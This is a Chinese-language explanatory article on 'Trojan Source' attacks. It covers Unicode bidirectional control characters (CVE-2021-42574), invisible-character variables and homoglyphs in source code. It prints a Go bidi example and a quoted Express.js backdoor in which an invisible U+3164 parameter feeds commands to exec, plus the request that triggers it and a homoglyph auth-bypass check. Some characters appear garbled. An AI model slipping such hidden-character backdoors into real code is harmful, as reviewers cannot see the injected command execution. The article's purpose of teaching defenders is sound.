title: 13.源代码特洛伊木马攻击 outline: deep

最近,我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本,中文直译作 “双向文本”,意思是一些语言是从左到右的,而另一些则是是从右到左的(如:阿拉伯语),如果同一个文件里,即有从左向右的文本也有从右向左文本两种的混搭,那么,就叫bi-direction。术语通常缩写为“ BiDi ”或“ bidi ”。使用双向文本对于中国人来说并不陌生,因为中文又可以从左到右,也可以从右到左,还可以从上到下。

早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持,但不容易支持从右到左的脚本,例如阿拉伯语或希伯来语,并且将两者混合使用更是不可能。从右到左的脚本是通过ISO/IEC 8859-6ISO/IEC 8859-8等编码引入的,通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序,但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持,可以在同一页面上混合来自不同脚本的字符,而不管书写方向如何。

双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说,其标准为完整的 BiDi 支持提供了基础,其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。

好的,科普完“双向文本”后,我们正式进入正题,为什么Github 会出这个警告?Github的官方博客“关于双向Unicode的警告”中说,使用一些Unicode中的用于控制的隐藏字符,可以让你代码有着跟看上去完全不一样的行为。

我们先来看一个示例,下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型,然后计算其中多少个为 1 的 bit。

package main

import "fmt"

func main() { str, mask := "Hello, World!‮10x‭", 0

bits := 0 for _, ch := range str { for ch › 0 { bits += int(ch) & mask ch = ch ›› 1 } } fmt.Println("Total bits set:", bits) }

这个代码你看上去没有什么 奇怪的地方,但是你在执行的时候(可以直接上Go Playground上执行  – https://play.golang.org/p/e2BDZvFlet0),你会发现,结果是 0,也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事?

如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里,你就可以看到下面这一幕。

其中有两个浅蓝色的尖括号的东西—— ‹202e›‹202d› 。这两个字符是两个Unicode的控制字符(注:完整的双向文本控制字符参看 Unicode Bidirectional Classes):

所以,你在视觉上看到的是结果是—— "Hello, World!”, 0x01, 但是实际上是完全是另外一码事。

然后,Github官方博客中还给了一个安全问题 CVE-2021-42574 ——

› 在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序,可用于制作源代码,呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码,从而将目标漏洞引入人类审查者不可见的地方。

这个安全问题在剑桥大学的这篇论文“Some Vulnerabilities are Invisible”中有详细的描述。其中PDF版的文章中也给了这么一个示例:

通过双向文本可以把下面这段代码:

伪装成下面的这个样子:

在图 2 中'alice'被定义为价值 100,然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数,因此该小程序在执行时应该给我们 50 的结果。

然而,图 1 向我们展示了如何使用双向字符来破坏程序的意图:通过插入RLI (Right To Left Isolate)  U+2067_,_我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能,但图 1 的输出变为 100。

除此之外,支持Unicode还可以出现很多其它的攻击,尤其是通过一些“不可见字符”,或是通过“同形字符”在源代码里面埋坑。比如文章“The Invisible Javascript Backdoor”里的这个示例:

const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) =› { const { timeout,ㅤ} = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ ];

try {
    await Promise.all(checkCommands.map(cmd =› 
            cmd && exec(cmd, { timeout: +timeout || 5\_000 })));
    res.status(200);
    res.send('ok');
} catch(e) {
    res.status(500);
    res.send('failed');
}

});

app.listen(8080);

上面这个代码实现了一个非常简单的网络健康检查,HTTP会执行 ping -c 1 google.com 以及 curl -s http://example.com 这两个命令来查看网络是否正常。其中,可选输入 HTTP 参数timeout限制命令执行时间。

然后,上面这个代码是有不可见的Unicode 字符,如果你使用VSCode,把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了

于是,一个你看不见的 πàñ 变量就这样生成了,你再仔细看一下整个逻辑,这个看不见的变量,可以让你的代码执行他想要的命令。因为,http 的请求中有第二个参数,这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求:

http://host:port/network\_health?%E3%85%A4=‹any command›

其中的,%E3%85%A4 就是 \u3164 这个不可见Unicode 的编码,于是,一个后门代码就这样在神不知鬼不觉的情况下注入了。

另外,还可以使用“同形字符”,看看下面这个示例:

if(environmentǃ=ENV_PROD){ // bypass authZ checks in DEV return true; }

如何你以为 ǃ 是 惊叹号,其实不是,它是一个Unicode ╟â。这种东西就算你把你的源码转成 DOS(CP437) 也没用,因为用肉眼在一大堆正常的字符中找不正常的,我觉得是基本不可能的事。

现在,是时候检查一下你的代码有没有上述的这些情况了……